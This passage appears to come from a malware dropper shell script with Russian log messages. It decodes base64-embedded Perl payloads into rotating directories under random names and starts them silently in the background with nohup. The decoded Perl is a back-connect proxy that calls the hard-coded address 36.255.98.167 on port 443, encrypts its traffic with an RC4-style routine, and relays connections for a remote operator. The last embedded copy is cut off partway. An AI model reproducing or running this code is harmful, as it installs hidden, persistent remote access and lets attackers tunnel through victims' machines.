IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #8 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #8 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 9 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 